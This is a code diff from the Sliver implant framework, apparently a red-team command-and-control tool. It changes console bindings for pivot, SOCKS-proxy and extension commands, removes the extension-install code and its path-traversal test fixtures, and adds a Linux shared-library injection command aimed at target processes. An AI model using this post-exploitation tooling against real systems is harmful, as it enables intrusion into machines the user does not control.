 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			pivots.StartTCPListenerCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
-	pivotsCmd.AddCommand(&grumble.Command{
-		Name:     consts.StopStr,
-		Help:     "Stop a pivot listener",
-		LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("i", "id", 0, "id of the pivot listener to stop")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			pivots.StopPivotListenerCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
-	pivotsCmd.AddCommand(&grumble.Command{
-		Name:     consts.DetailsStr,
-		Help:     "Get details of a pivot listener",
-		LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("i", "id", 0, "id of the pivot listener to stop")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			pivots.PivotDetailsCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
-	pivotsCmd.AddCommand(&grumble.Command{
-		Name:     "graph",
-		Help:     "Get details of a pivot listener",
-		LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("i", "id", 0, "id of the pivot listener to stop")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			pivots.PivotsGraphCmd(ctx, con)
+			pivots.TCPListenerCmd(ctx, con)
 			con.Println()
 			return nil
 		},
@@ -2649,8 +2306,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	}
 	socksCmd.AddCommand(&grumble.Command{
-		Name:     consts.StartStr,
-		Help:     "Start an in-band SOCKS5 proxy",
+		Name:     "add",
+		Help:     "Create a new Socks5 Proxy",
 		LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
 		Flags: func(f *grumble.Flags) {
 			f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
@@ -2659,15 +2316,15 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			socks.SocksStartCmd(ctx, con)
+			socks.SocksAddCmd(ctx, con)
 			con.Println()
 			return nil
 		},
 		HelpGroup: consts.SliverHelpGroup,
 	})
 	socksCmd.AddCommand(&grumble.Command{
-		Name:     consts.StopStr,
-		Help:     "Stop a SOCKS5 proxy",
+		Name:     "rm",
+		Help:     "Remove a Socks5 Proxy",
 		LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
@@ -2675,7 +2332,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			socks.SocksStopCmd(ctx, con)
+			socks.SocksRmCmd(ctx, con)
 			con.Println()
 			return nil
 		},
@@ -3006,7 +2663,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 	// [ Get Privs ] -----------------------------------------------------------------
 	getprivsCmd := &grumble.Command{
 		Name:      consts.GetPrivsStr,
-		Help:      "Get current privileges (Windows only)",
+		Help:      "Get current privileges (Windows)",
 		LongHelp:  help.GetHelpFor([]string{consts.GetPrivsStr}),
 		HelpGroup: consts.SliverWinHelpGroup,
 		Run: func(ctx *grumble.Context) error {
@@ -3023,13 +2680,13 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 	// [ Extensions ] -----------------------------------------------------------------
 	extensionCmd := &grumble.Command{
-		Name:      consts.ExtensionsStr,
-		Help:      "Manage extensions",
-		LongHelp:  help.GetHelpFor([]string{consts.ExtensionsStr}),
+		Name:      consts.ExtensionStr,
+		Help:      "Manage sliver extensions",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr}),
 		HelpGroup: consts.SliverHelpGroup,
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			extensions.ExtensionsCmd(ctx, con)
+			extensions.ListCmd(ctx, con)
 			con.Println()
 			return nil
 		},
@@ -3037,82 +2694,25 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 	}
-
-	extensionCmd.AddCommand(&grumble.Command{
-		Name:      consts.ListStr,
-		Help:      "List extensions loaded in the current session or beacon",
-		LongHelp:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
-		HelpGroup: consts.SliverHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			extensions.ExtensionsListCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-
 	extensionCmd.AddCommand(&grumble.Command{
 		Name:      consts.LoadStr,
-		Help:      "Temporarily load an extension from a local directory",
-		LongHelp:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
+		Help:      "Register a new extension",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
 		HelpGroup: consts.SliverHelpGroup,
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			extensions.ExtensionLoadCmd(ctx, con)
+			extensions.LoadCmd(ctx, con)
 			con.Println()
 			return nil
 		},
 		Args: func(a *grumble.Args) {
 			a.String("dir-path", "path to the extension directory")
 		},
-		Completer: func(prefix string, args []string) []string {
-			return completers.LocalPathCompleter(prefix, args, con)
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 	})
-
-	extensionCmd.AddCommand(&grumble.Command{
-		Name:      consts.InstallStr,
-		Help:      "Install an extension from a local directory or .tar.gz file",
-		LongHelp:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
-		HelpGroup: consts.SliverHelpGroup,
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			extensions.ExtensionsInstallCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("path", "path to the extension .tar.gz or directory")
-		},
-		Completer: func(prefix string, args []string) []string {
-			return completers.LocalPathCompleter(prefix, args, con)
-		},
-	})
-
-	extensionCmd.AddCommand(&grumble.Command{
-		Name:      consts.RmStr,
-		Help:      "Remove an installed extension",
-		LongHelp:  help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
-		HelpGroup: consts.SliverHelpGroup,
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			extensions.ExtensionsRemoveCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("name", "the command name of the extension to remove")
-		},
-		Completer: func(prefix string, args []string) []string {
-			return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
-		},
-	})
-
 	con.App.AddCommand(extensionCmd)
-
 	// [ Prelude's Operator ] ------------------------------------------------------------
 	operatorCmd := &grumble.Command{
 		Name:      consts.PreludeOperatorStr,
@@ -3146,6 +2746,27 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("r", "range", "sliver", "Agents range")
 		},
 	})
-
 	con.App.AddCommand(operatorCmd)
+
+	// [ LibInject ] -----------------------------------------------------------------
+	libInjectCmd := &grumble.Command{
+		Name:      consts.LibInjectStr,
+		Help:      "Inject a Linux shared library into a process",
+		LongHelp:  help.GetHelpFor([]string{consts.LibInjectStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			exec.LibInjectCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.Uint64("pid", "Target process ID")
+			a.String("library-path", "Path to the shared library to inject")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(libInjectCmd)
 }

client/command/completers/README.md

@@ -1,4 +0,0 @@
-Completers
-===========
-
-This package contains general purpose completers for the console, note that some package also contain their own package-specific completers. 

client/command/completers/completers.go

@@ -1,63 +0,0 @@
-package completers
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"io/ioutil"
-	"os"
-	"path/filepath"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/console"
-)
-
-// LocalPathCompleter - Completes a local file system path
-func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	var parent string
-	var partial string
-	fi, err := os.Stat(prefix)
-	if os.IsNotExist(err) {
-		parent = filepath.Dir(prefix)
-		partial = filepath.Base(prefix)
-	} else {
-		if fi.IsDir() {
-			parent = prefix
-			partial = ""
-		} else {
-			parent = filepath.Dir(prefix)
-			partial = filepath.Base(prefix)
-		}
-	}
-
-	results := []string{}
-	ls, err := ioutil.ReadDir(parent)
-	if err != nil {
-		return results
-	}
-	for _, fi = range ls {
-		if 0 < len(partial) {
-			if strings.HasPrefix(fi.Name(), partial) {
-				results = append(results, filepath.Join(parent, fi.Name()))
-			}
-		} else {
-			results = append(results, filepath.Join(parent, fi.Name()))
-		}
-	}
-	return results
-}

client/command/exec/libinject.go

@@ -0,0 +1,58 @@
+package exec
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+func LibInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	libPath := ctx.Args.String("library-path")
+	pid := ctx.Args.Uint64("pid")
+	data, err := ioutil.ReadFile(libPath)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Injecting %s into %d...", libPath, pid), ctrl)
+	libInject, err := con.Rpc.LibInject(context.Background(), &sliverpb.LibInjectReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Pid:     pid,
+		Data:    data,
+	})
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+
+	if libInject.Response != nil && libInject.Response.Async {
+		con.AddBeaconCallback(libInject.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, libInject)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response: %s", err)
+				return
+			}
+			con.PrintInfof("Injected %s into %d\n", libPath, pid)
+		})
+		con.PrintAsyncResponse(libInject.Response)
+	} else {
+		con.PrintInfof("Injected %s into %d\n", libPath, pid)
+	}
+
+}

client/command/extensions/README.md

@@ -1,51 +1,46 @@
 Extensions
-===========
+====
 
 Allows to load and execute 3rd party extensions.
 
-Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
-must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
-parent directories are not allowed. Only files listed in the manifest are copied, any other files will
-be ignored.
+Extensions must be loaded from a directory with the following architecture:
 
 ```shell
 /path/to/extension/folder/
-├── extension.json
+├── manifest.json
 └── windows
-│    └── extension.x86.dll
-│    └── extension.x64.dll
-└── linux
-│    └── extension.x86.so
-│    └── extension.x64.so
-└── darwin
-     └── extension.x86.dylib
-     └── extension.x64.dylib
+    ├── 386
+    │   └── extension.x86.dll
+    └── amd64
+        └── extension.x64.dll
 ```
 
-Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
+The extension folder structure must follow the `GOOS/GOARCH/` scheme.
+
+Here's an example manifest:
 
 ```json
+[
 {
     "name": "foo",
-    "version": "1.0.0",
-    "extension_author": "ac1d-burn",
-    "original_author": "zer0-cool",
-    "repo_url": "https://github.com/foo/bar",
     "help": "Help for foo command",
     "entrypoint": "RunFoo",
     "init" :"NimMain",
-    "depends_on": "bar",
+    "dependsOn": "bar",
     "files": [
         {
             "os": "windows",
-            "arch": "amd64",
-            "path": "extension.x64.o",
+            "files":{
+                "x86": "extension.x86.o",
+                "x64": "extension.x64.o",
+            }
         }
     ],
     "arguments": [
         {"name": "pid", "type": "int", "desc": "pid", "optional": false},
     ]
 }
+]
 ```
 
 The structure is the following one:
@@ -56,7 +51,7 @@ The structure is the following one:
 - `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
 - `init`: the initialization function name (if relevant, can be omitted)
 - `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
-- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
+- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
 
 The `type` of an argument can be one of the following:
 

client/command/extensions/extensions.go

@@ -1,125 +0,0 @@
-package extensions
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/jedib0t/go-pretty/v6/text"
-)
-
-// ExtensionsCmd - List information about installed extensions
-func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if 0 < len(getInstalledManifests()) {
-		PrintExtensions(con)
-	} else {
-		con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
-	}
-}
-
-// PrintExtensions - Print a list of loaded extensions
-func PrintExtensions(con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Name",
-		"Command Name",
-		"Platforms",
-		"Version",
-		"Installed",
-		"Extension Author",
-		"Original Author",
-		"Repository",
-	})
-	tw.SortBy([]table.SortBy{
-		{Name: "Name", Mode: table.Asc},
-	})
-	tw.SetColumnConfigs([]table.ColumnConfig{
-		{Number: 5, Align: text.AlignCenter},
-	})
-
-	installedManifests := getInstalledManifests()
-	for _, extension := range loadedExtensions {
-		installed := ""
-		if _, ok := installedManifests[extension.CommandName]; ok {
-			installed = "✅"
-		}
-		tw.AppendRow(table.Row{
-			extension.Name,
-			extension.CommandName,
-			strings.Join(extensionPlatforms(extension), ",\n"),
-			extension.Version,
-			installed,
-			extension.ExtensionAuthor,
-			extension.OriginalAuthor,
-			extension.RepoURL,
-		})
-	}
-	con.Println(tw.Render())
-}
-
-func extensionPlatforms(extension *ExtensionManifest) []string {
-	platforms := map[string]string{}
-	for _, entry := range extension.Files {
-		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
-	}
-	keys := []string{}
-	for key := range platforms {
-		keys = append(keys, key)
-	}
-	return keys
-}
-
-func getInstalledManifests() map[string]*ExtensionManifest {
-	manifestPaths := assets.GetInstalledExtensionManifests()
-	installedManifests := map[string]*ExtensionManifest{}
-	for _, manifestPath := range manifestPaths {
-		data, err := ioutil.ReadFile(manifestPath)
-		if err != nil {
-			continue
-		}
-		manifest := &ExtensionManifest{}
-		err = json.Unmarshal(data, manifest)
-		if err != nil {
-			continue
-		}
-		installedManifests[manifest.CommandName] = manifest
-	}
-	return installedManifests
-}
-
-// ExtensionsCommandNameCompleter - Completer for installed extensions command names
-func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	installedManifests := getInstalledManifests()
-	results := []string{}
-	for _, manifest := range installedManifests {
-		if strings.HasPrefix(manifest.CommandName, prefix) {
-			results = append(results, manifest.CommandName)
-		}
-	}
-	return results
-}

client/command/extensions/extensions_test.go

@@ -1,245 +0,0 @@
-package extensions
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"encoding/json"
-	"testing"
-)
-
-const (
-	sample1 = `{
-	"name": "test1",
-	"command_name": "test1",
-	"version": "1.0.0",
-	"extension_author": "test",
-	"original_author": "test",
-	"repo_url": "https://example.com/",
-	"help": "some help",
-	"files": [
-		{
-			"os": "windows",
-			"arch": "amd64",
-			"path": "foo/test1.dll"
-		}
-	]
-}`
-
-	sample2 = `{
-	"name": "test2",
-	"command_name": "test2",
-	"help": "some help",
-	"files": [
-		{
-			"os": "windows",
-			"arch": "amd64",
-			"path": "../../../../foo/test1.dll"
-		}
-	]
-}`
-)
-
-func TestParseExtensionManifest(t *testing.T) {
-	extManifest, err := ParseExtensionManifest([]byte(sample1))
-	if err != nil {
-		t.Fatalf("Error parsing extension manifest: %s", err)
-	}
-	if extManifest.Name != "test1" {
-		t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
-	}
-	if extManifest.CommandName != "test1" {
-		t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
-	}
-	if extManifest.Version != "1.0.0" {
-		t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
-	}
-	if extManifest.ExtensionAuthor != "test" {
-		t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
-	}
-	if extManifest.OriginalAuthor != "test" {
-		t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
-	}
-	if extManifest.RepoURL != "https://example.com/" {
-		t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
-	}
-	if extManifest.Help != "some help" {
-		t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
-	}
-	if len(extManifest.Files) != 1 {
-		t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
-	}
-	if extManifest.Files[0].OS != "windows" {
-		t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
-	}
-	if extManifest.Files[0].Arch != "amd64" {
-		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
-	}
-	if extManifest.Files[0].Path != "/foo/test1.dll" {
-		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
-	}
-
-	extManifest2, err := ParseExtensionManifest([]byte(sample2))
-	if err != nil {
-		t.Fatalf("Error parsing extension manifest (2): %s", err)
-	}
-	if extManifest2.Name != "test2" {
-		t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
-	}
-	if extManifest2.CommandName != "test2" {
-		t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
-	}
-	if extManifest2.Help != "some help" {
-		t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
-	}
-	if len(extManifest2.Files) != 1 {
-		t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
-	}
-	if extManifest2.Files[0].OS != "windows" {
-		t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
-	}
-	if extManifest2.Files[0].Arch != "amd64" {
-		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
-	}
-	if extManifest2.Files[0].Path != "/foo/test1.dll" {
-		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
-	}
-}
-
-const (
-	sample3 = `{
-	"name": "test3",
-	"command_name": "test3",
-	"version": "1.0.0",
-	"extension_author": "test",
-	"original_author": "test",
-	"repo_url": "https://example.com/",
-	"help": "some help",
-	"files": [
-		{
-			"os": "windows",
-			"arch": "amd64",
-			"path": "foo/test1.dll"
-		}
-	]
-}`
-)
-
-func TestParseExtensionManifestErrors(t *testing.T) {
-	sample3, err := ParseExtensionManifest([]byte(sample3))
-	if err != nil {
-		t.Fatalf("Failed to parse initial sample3: %s", err)
-	}
-
-	missingName := (*sample3)
-	missingName.Name = ""
-	data, _ := json.Marshal(missingName)
-	_, err = ParseExtensionManifest(data)
-	if err == nil {
-		t.Fatalf("Expected missing name error, got none")
-	}
-
-	missingCmdName := (*sample3)
-	missingCmdName.CommandName = ""
-	data, _ = json.Marshal(missingCmdName)
-	_, err = ParseExtensionManifest(data)
-	if err == nil {
-		t.Fatalf("Expected missing command name error, got none")
-	}
-
-	missingHelp := (*sample3)
-	missingHelp.Help = ""
-	data, _ = json.Marshal(missingHelp)
-	_, err = ParseExtensionManifest(data)
-	if err == nil {
-		t.Fatalf("Expected missing help error, got none")
-	}
-
-	missingFiles := (*sample3)
-	missingFiles.Files = []*extensionFile{}
-	data, _ = json.Marshal(missingFiles)
-	_, err = ParseExtensionManifest(data)
-	if err == nil {
-		t.Fatalf("Expected missing files error, got none")
-	}
-
-	missingFileOS := (*sample3)
-	missingFileOS.Files = []*extensionFile{
-		{
-			OS:   "",
-			Arch: "amd64",
-			Path: "foo/test1.dll",
-		},
-	}
-	data, _ = json.Marshal(missingFileOS)
-	_, err = ParseExtensionManifest(data)
-	if err == nil {
-		t.Fatalf("Expected missing files.os error, got none")
-	}
-
-	missingFileArch := (*sample3)
-	missingFileArch.Files = []*extensionFile{
-		{
-			OS:   "windows",
-			Arch: "",
-			Path: "foo/test1.dll",
-		},
-	}
-	data, _ = json.Marshal(missingFileArch)
-	_, err = ParseExtensionManifest(data)
-	if err == nil {
-		t.Fatalf("Expected missing files.arch error, got none")
-	}
-
-	missingFilePath := (*sample3)
-	missingFilePath.Files = []*extensionFile{
-		{
-			OS:   "windows",
-			Arch: "amd64",
-			Path: "",
-		},
-	}
-	data, _ = json.Marshal(missingFilePath)
-	_, err = ParseExtensionManifest(data)
-	if err == nil {
-		t.Fatalf("Expected missing files.path error, got none")
-	}
-
-	invalidPaths := []string{
-		"../../../../../",
-		"/../../../../..",
-		".",
-		"/",
-	}
-	for _, invalidPath := range invalidPaths {
-		missingFilePath2 := (*sample3)
-		missingFilePath2.Files = []*extensionFile{
-			{
-				OS:   "windows",
-				Arch: "amd64",
-				Path: invalidPath,
-			},
-		}
-		data, _ = json.Marshal(missingFilePath2)
-		_, err = ParseExtensionManifest(data)
-		if err == nil {
-			t.Fatalf("Expected missing files.path error, got none")
-		}
-	}
-
-}

client/command/extensions/install.go

@@ -1,174 +0,0 @@
-package extensions
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path/filepath"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
-)
-
-// ExtensionsInstallCmd - Install an extension
-func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	extLocalPath := ctx.Args.String("path")
-	fi, err := os.Stat(extLocalPath)
-	if os.IsNotExist(err) {
-		con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
-		return
-	}
-	if !fi.IsDir() {
-		InstallFromFilePath(extLocalPath, false, con)
-	} else {
-		installFromDir(extLocalPath, con)
-	}
-}
-
-// Install an extension from a directory
-func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
-	manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
-	if err != nil {
-		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
-		return
-	}
-	manifest, err := ParseExtensionManifest(manifestData)
-	if err != nil {
-		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
-		return
-	}
-	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
-		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite current install?"}
-		survey.AskOne(prompt, &confirm)
-		if !confirm {
-			return
-		}
-		forceRemoveAll(installPath)
-	}
-
-	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("\nError creating extension directory: %s\n", err)
-		return
-	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return
-	}
-
-	for _, manifestFile := range manifest.Files {
-		if manifestFile.Path != "" {
-			src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
-			dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
-			err := util.CopyFile(src, dst)
-			if err != nil {
-				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
-				forceRemoveAll(installPath)
-				return
-			}
-		}
-	}
-
-}
-
-// InstallFromFilePath - Install an extension from a .tar.gz file
-func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
-	manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
-	if err != nil {
-		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
-		return nil
-	}
-	manifest, err := ParseExtensionManifest(manifestData)
-	if err != nil {
-		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
-		return nil
-	}
-	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		if !autoOverwrite {
-			con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
-			confirm := false
-			prompt := &survey.Confirm{Message: "Overwrite current install?"}
-			survey.AskOne(prompt, &confirm)
-			if !confirm {
-				return nil
-			}
-		}
-		forceRemoveAll(installPath)
-	}
-
-	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
-		return nil
-	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return nil
-	}
-	for _, manifestFile := range manifest.Files {
-		if manifestFile.Path != "" {
-			err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
-			if err != nil {
-				con.PrintErrorf("\nFailed to install file: %s\n", err)
-				forceRemoveAll(installPath)
-				return nil
-			}
-		}
-	}
-	con.Printf("done!\n")
-	return &installPath
-}
-
-func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
-	data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
-	if err != nil {
-		return err
-	}
-	if len(data) == 0 {
-		return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
-	}
-	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
-	artifactDir := filepath.Dir(localArtifactPath)
-	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
-		err := os.MkdirAll(artifactDir, 0o700)
-		if err != nil {
-			return err
-		}
-	}
-	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
-	if err != nil {
-		return err
-	}
-	return nil
-}

client/command/extensions/list.go

@@ -1,54 +0,0 @@
-package extensions
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
